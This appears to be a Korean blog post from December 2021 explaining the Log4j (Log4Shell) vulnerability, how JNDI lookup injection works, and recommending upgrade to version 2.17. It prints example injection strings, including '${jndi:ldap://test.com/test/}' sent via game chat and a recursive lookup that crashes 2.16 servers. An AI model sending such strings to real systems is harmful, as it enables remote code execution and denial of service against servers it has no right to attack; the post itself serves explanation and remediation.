-
[Log4j] Zero Day 취약점기타 2021. 12. 26. 22:59반응형
1. Log4j
Log4j는 자바 진영에서 사용되는 Log를 남기는 프레임워크입니다.
Log4j는 자바로 구현된 시스템이라면 많이 사용하는 프레임워크로 이번 취약점이 광범위한 보안 이슈인 이유입니다.
2. Log4j 취약점
이번 취약점은 알리바바에 의해서 12월 9일 처음 공개되었으며 Log4j 취약점은 Zero Day 취약점이라고 불려집니다.
Zero Day 취약점은 해당 취약점에 대한 패치가 발표되기 전에 해당 취약점으로 공격이 이루어지는 것을 말합니다.
결국 Zero Day는 개발자 또는 관리자가 대응할 시간이 제로 이기 때문에 Zero Day 취약점이라고 불리는 것입니다.
CVSS 취약점 등급은 10점 만점에 10점일 정도로 심각한 취약점이라고 합니다.
또한 이번 취약점은 2.0 beta-9 버전에서 처음 시작되어 현재까지 발견되지 않고 배포되어 사용되어 왔을 정도로 아주 오래전 부터 존재하였던 취약점 입니다.
3. Log4j 공격 방법
일반적으로 유저의 입력 데이터는 Validation을 처리하여 저장을 하거나 활용합니다.
그 이유는 유저가 입력한 문자열을 통해 보안 위협이 되기 때문입니다. 지금 블로그를 작성하는 Editor의 경우도 Javascript 코드를 작성 후 저장을 한다고 하여 서버를 공격할 수 없을 것입니다.
Editor에 '<' 문자와 같은 코드에 사용되는 특정 문자들은 '<'와 같은 문자로 치환되어 저장될 것이기 때문입니다.
하지만 Log4j의 Lookups이라는 기능이 유저의 입력을 신뢰하면서 이번 취약점이 발생하게 되었습니다.
공격 방식은 유저가 Log4j를 사용하는 서버에 ${jndi:ldap://URL주소} 문자열이 포함된 요청을 보내면 Log4j는 해당 문자열을 Log 기록으로 남기고 해당 URL 주소로 접속을 시도 접속 후 호스팅 된 코드를 실행하면서 이번 공격을 진행하게 됩니다.
요청에 문자열은 서버에서 어떤 로그를 남기는 지만 알게 되면 이번 취약점은 악용이 가능합니다.
예로 마인크래프트 게임의 경우 사용자들의 채팅 문자열을 Log4j를 통해 로그로 남기게 되는데 이 경우 채팅창에 ${jndi:ldap://test.com/test/}와 같은 문자열을 입력하면 바로 취약점을 이용한 공격이 가능한 것입니다.
결국 이번 취약점을 통해 해커가 해당 서버를 원격으로 접속하여 특정 작업을 실행 가능하게 되는 것입니다.
4. 해결 방법
현재 Log4j의 취약점이 발견된 버전은 2.14 버전입니다.
이번 취약점이 공식 발표된 이후 2.15, 2.16버전이 배포되었으나 이 버전 또한 취약점이 여전히 존재하는 것으로 알려졌으며 최종 2.17버전은 아직 발견된 취약점이 없으므로 2.17 버전으로 변경이 진행되어야 합니다.
- 2.15 - #과 같은 해시 태그를 통한 RCE공격이 여전히 가능한 것으로 확인된 버전입니다.
2.15 버전으로 변경하여도 여전히 RCE공격 가능성이 열려 있습니다. - 2.16 - 특정 문자열(${${::-${::-$${::-$}}}})을 입력하면 무한 재귀 호출로인해 서버 StackOverflow를 발생시켜 다운을 유발할 수 있습니다.
현재 Maven Repository에서도 Log4j Core는 2.17 이전의 버전은 취약점이 존재하는 버전으로 표시되어 있으며 2.17 버전은 아직 취약점 발견이 되지 않은 상태입니다.
반응형'기타' 카테고리의 다른 글
[HTTP 기본] HTTP 메시지 (0) 2022.02.22 [HTTP 기본] HTTP 메소드 (0) 2022.02.17 [HTTP 기본] 간결한 HTTP 프로토콜 (0) 2022.02.17 [HTTP 기본] TCP/IP 4계층 (0) 2022.02.16 [HTTP 기본] Web 그리고 Network (0) 2022.02.15 - 2.15 - #과 같은 해시 태그를 통한 RCE공격이 여전히 가능한 것으로 확인된 버전입니다.